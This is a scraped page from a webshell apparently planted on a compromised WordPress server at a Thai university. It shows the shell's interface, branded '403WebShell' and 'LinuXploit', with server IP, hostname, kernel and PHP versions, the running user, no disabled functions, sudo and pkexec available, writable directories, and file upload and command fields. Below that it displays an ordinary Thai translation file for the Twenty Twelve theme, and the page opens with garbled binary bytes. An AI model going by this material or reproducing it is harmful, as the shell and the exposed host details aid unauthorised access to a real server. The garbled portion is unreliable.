h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/languages/themes/twentytwelve-th.po
# Translation of Themes - Twenty Twelve in Thai
# This file is distributed under the same license as the Themes - Twenty Twelve package.
msgid ""
msgstr ""
"PO-Revision-Date: 2019-05-01 09:11:45+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: th\n"
"Project-Id-Version: Themes - Twenty Twelve\n"

#. Description of the theme
msgid "The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background."
msgstr "ธีม 2012 สำหรับเวิร์ดเพรสนั้นเป็นธีมที่ตอบสนองเต็มรูปแบบ  และดูดีมากบนทุกอุปกรณ์  คุณสมบัติของมันรวมถึงเทมเพลตหน้าแรกที่มีวิดเจ็ตของตัวเอง  ทางเลือกการแสดงตัวอักษร  รูปแบบสำหรับชนิดเรื่องทั้งในหน้าหลักและหน้าแยก  และตัวเลือกหน้าเทมเพลตไม่มีแถบด้านข้าง  สร้างรูปแบบของคุณเองด้วย  เมนู  รูปภาพส่วนหัวและพื้นหลังที่คุณปรับแต่งเอง"

#. Theme Name of the theme
msgid "Twenty Twelve"
msgstr "Twenty Twelve"

#. translators: %s: The post title.
#: comments.php:35
msgid "One thought on &ldquo;%s&rdquo;"
msgstr "หนึ่งความคิดเห็นเกี่ยวกับ &ldquo;%s&rdquo;"

#: functions.php:94
msgid "White"
msgstr "สีขาว"

#: functions.php:89
msgid "Light Gray"
msgstr "สีเทาอ่อน"

#: functions.php:84
msgid "Medium Gray"
msgstr "สีเทากลาง"

#: functions.php:79
msgid "Dark Gray"
msgstr "สีเทาเข้ม"

#: functions.php:74
msgid "Blue"
msgstr "สีน้ำเงิน"

#. Template Name of the theme
msgid "Full-width Page Template, No Sidebar"
msgstr "เทมเพลตหน้าเต็มความกว้าง  ไม่มีแถบด้านข้าง"

#. Template Name of the theme
msgid "Front Page Template"
msgstr "เทมเพลตหน้าแรก"

#: tag.php:21
msgid "Tag Archives: %s"
msgstr "คลังเก็บป้ายกำกับ: %s"

#: single.php:25
msgctxt "Next post link"
msgid "&rarr;"
msgstr "&rarr;"

#: single.php:24
msgctxt "Previous post link"
msgid "&larr;"
msgstr "&larr;"

#: search.php:41
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "ขอโทษครับ แต่ไม่มีสิ่งใดตรงกับคำที่คุณใช้ค้น  โปรดลองอีกครั้งด้วยคำอื่นที่ต่างออกไป"

#: search.php:18
msgid "Search Results for: %s"
msgstr "ผลลัพท์การค้นหาสำหรับ: %s"

#: index.php:46
msgid "Ready to publish your first post? <a href=\"%s\">Get started here</a>."
msgstr "พร้อมที่จะเผยแพร่เรื่องแรกของคุณหรือไม่? <a href=\"%s\">เริ่มต้นได้ที่นี่</a>"

#: index.php:42
msgid "No posts to display"
msgstr "ไม่มีเรื่องที่จะแสดง"

#: image.php:46
msgid "Next &rarr;"
msgstr "ต่อไป &rarr;"

#: image.php:45
msgid "&larr; Previous"
msgstr "&larr; ก่อนหน้า"

#: image.php:30
msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>."
msgstr "<span class=\"meta-prep meta-prep-entry-date\">เผยแพร่ </span> <span class=\"entry-date\"><time class=\"entry-date\" datetime=\"%1$s\">%2$s</time></span> ที่ <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> ใน <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>"

#: header.php:45
msgid "Skip to content"
msgstr "ข้ามไปยังเนื้อหา"

#: header.php:44
msgid "Menu"
msgstr "เมนู"

#: functions.php:514
msgid "This entry was posted on %3$s<span class=\"by-author\"> by %4$s</span>."
msgstr "ข้อความนี้ถูกเขียนบน %3$s<span class=\"by-author\"> โดย %4$s</span>."

#: functions.php:512
msgid "This entry was posted in %1$s on %3$s<span class=\"by-author\"> by %4$s</span>."
msgstr "ข้อความนี้ถูกเขียนใน %1$s บน %3$s<span class=\"by-author\"> โดย %4$s</span>"

#. Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's
#. name.
#: functions.php:510
msgid "This entry was posted in %1$s and tagged %2$s on %3$s<span class=\"by-author\"> by %4$s</span>."
msgstr "ข้อความนี้ถูกเขียนใน %1$s และติดป้ายกำกับ %2$s บน %3$s<span class=\"by-author\"> โดย %4$s</span>"

#: functions.php:504
msgid "View all posts by %s"
msgstr "ดูเรื่องทั้งหมดของ %s"

#. Translators: used between list items, there is a space after the comma.
#: functions.php:488 functions.php:491
msgid ", "
msgstr ", "

#: functions.php:460
msgid "Reply"
msgstr "ตอบกลับ"

#: functions.php:446
msgid "Your comment is awaiting moderation."
msgstr "ความเห็นของคุณกำลังรอคอยการตรวจสอบ"

#. translators: 1: date, 2: time
#: functions.php:440
msgid "%1$s at %2$s"
msgstr "%1$s ที่ %2$s"

#: functions.php:433
msgid "Post author"
msgstr "ผู้เขียนเรื่อง"

#: functions.php:417
msgid "(Edit)"
msgstr "(แก้ไข)"

#: functions.php:417
msgid "Pingback:"
msgstr "Pingback:"

#: functions.php:391
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "เรื่องที่ใหม่กว่า <span class=\"meta-nav\">&rarr;</span>"

#: functions.php:390
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> เรื่องที่เก่ากว่า"

#: single.php:23 functions.php:389
msgid "Post navigation"
msgstr "เมนูนำทางเรื่อง"

#: functions.php:366
msgid "Second Front Page Widget Area"
msgstr "พื้นที่วิดเจ็ตที่สองในหน้าแรก"

#: functions.php:356 functions.php:368
msgid "Appears when using the optional Front Page template with a page set as Static Front Page"
msgstr "ปรากฎเมื่อมีการใช้เทมเพลตทางเลือกหน้าแรกพร้อมหน้าที่ตั้งให้ปักหมุดหน้าแรก"

#: functions.php:354
msgid "First Front Page Widget Area"
msgstr "พื้นที่วิดเจ็ตที่หนึ่งในหน้าแรก"

#: functions.php:344
msgid "Appears on posts and pages except the optional Front Page template, which has its own widgets"
msgstr "ปรากฎบนเรื่องและหน้ายกเว้นเทมเพลตทางเลือกหน้าแรก  ซึ่งจะมีวิดเจ็ตของมันเอง"

#: functions.php:342
msgid "Main Sidebar"
msgstr "ด้านข้างหลัก"

#: functions.php:310
msgid "Page %s"
msgstr "หน้า %s"

#. translators: To add an additional Open Sans character subset specific to
#. your language, * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do
#. not translate into your own language.
#: functions.php:157
msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)"
msgid "no-subset"
msgstr "no-subset"

#. translators: If there are characters in your language that are not supported
#. * by Open Sans, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:151
msgctxt "Open Sans font: on or off"
msgid "on"
msgstr "เปิดใช้"

#: functions.php:108
msgid "Primary Menu"
msgstr "เมนูหลัก"

#: footer.php:22
msgid "Proudly powered by %s"
msgstr "ภูมิใจนำเสนอโดย %s"

#: footer.php:21
msgid "Semantic Personal Publishing Platform"
msgstr "แพลตฟอร์มการเผยแพร่ความหมายส่วนบุคคล"

#: content.php:75
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "ดูเรื่องทั้งหมดโดย %s <span class=\"meta-nav\">&rarr;</span>"

#: content.php:16
msgid "Featured post"
msgstr "เรื่องเด่น"

#: content-page.php:24 image.php:123 content.php:50
msgid "Pages:"
msgstr "หน้า:"

#: index.php:58 content-none.php:17
msgid "Apologies, but no results were found. Perhaps searching will help find a related post."
msgstr "ขอโทษครับ แต่ไม่มีผลลัพท์ที่ต้องการ บางทีการค้นหาจะช่วยหาเรื่องที่เกี่ยวข้องได้ "

#: index.php:54 search.php:37 content-none.php:13
msgid "Nothing Found"
msgstr "ไม่พบสิ่งใด"

#: content-link.php:12
msgid "Link"
msgstr "ลิงก์"

#: content-aside.php:26 content-status.php:40 content-image.php:26
#: content-link.php:24 content-page.php:31 content-quote.php:23 image.php:41
#: functions.php:451 content.php:60
msgid "Edit"
msgstr "แก้ไข"

#: content-aside.php:23 content-status.php:37 content-image.php:23
#: content-link.php:21 content-quote.php:20 content.php:35
msgid "% Replies"
msgstr "% ความคิดเห็น"

#: content-aside.php:23 content-status.php:37 content-image.php:23
#: content-link.php:21 content-quote.php:20 content.php:35
msgid "1 Reply"
msgstr "1 ความคิดเห็น"

#: content-aside.php:23 content-status.php:37 content-image.php:23
#: content-link.php:21 content-quote.php:20 content.php:35
msgid "Leave a reply"
msgstr "ใส่ความเห็น"

#: content-aside.php:20 content-status.php:15 content-link.php:18
#: content-quote.php:17
msgid "Permalink to %s"
msgstr "ลิงก์ถาวรไป %s"

#: content-aside.php:15 content-status.php:31 content-image.php:13
#: content-link.php:14 content-quote.php:13 content.php:46
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "อ่านเพิ่มเติม <span class=\"meta-nav\">&rarr;</span>"

#: comments.php:74
msgid "Comments are closed."
msgstr "ความเห็นถูกปิด"

#: comments.php:64
msgid "Newer Comments &rarr;"
msgstr "ความเห็นที่ใหม่กว่า &rarr;"

#: comments.php:63
msgid "&larr; Older Comments"
msgstr "&larr; ความเห็นที่เก่ากว่า"

#: comments.php:62
msgid "Comment navigation"
msgstr "เมนูนำทางความเห็น"

#. translators: %1$s: The number of comments. %2$s: The post title.
#: comments.php:41
msgid "%1$s thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s ความคิดเห็นเกี่ยวกับ &ldquo;%2$s&rdquo;"

#: category.php:21
msgid "Category Archives: %s"
msgstr "คลังเก็บหมวดหมู่: %s"

#: content.php:71 author.php:64
msgid "About %s"
msgstr "เกี่ยวกับ %s"

#: author.php:32
msgid "Author Archives: %s"
msgstr "คลังเก็บผู้เขียน: %s"

#: archive.php:36
msgid "Archives"
msgstr "คลังเก็บ"

#: archive.php:34
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: archive.php:34
msgid "Yearly Archives: %s"
msgstr "คลังเก็บแบบปี: %s"

#: archive.php:32
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:32
msgid "Monthly Archives: %s"
msgstr "คลังเก็บรายเดือน: %s"

#: archive.php:30
msgid "Daily Archives: %s"
msgstr "คลัีงเก็บรายวัน: %s"

#: 404.php:21
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "ดูเหมือนว่าเราไม่มีสิ่งที่คุณกำลังหาอยู่  บางทีคำสั่งค้นหาอาจช่วยคุณได้"

#: 404.php:17
msgid "This is somewhat embarrassing, isn&rsquo;t it?"
msgstr "นี่เป็นสิ่งน่าละอายนัก  ใช่รึไม่?"

#. Author URI of the theme
#: footer.php:21
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the theme
msgid "the WordPress team"
msgstr "ทีมงานเวิร์ดเพรสไทย"

#. Theme URI of the theme
msgid "https://wordpress.org/themes/twentytwelve/"
msgstr "https://wordpress.org/themes/twentytwelve/"

Youez - 2016 - github.com/yon3zu
LinuXploit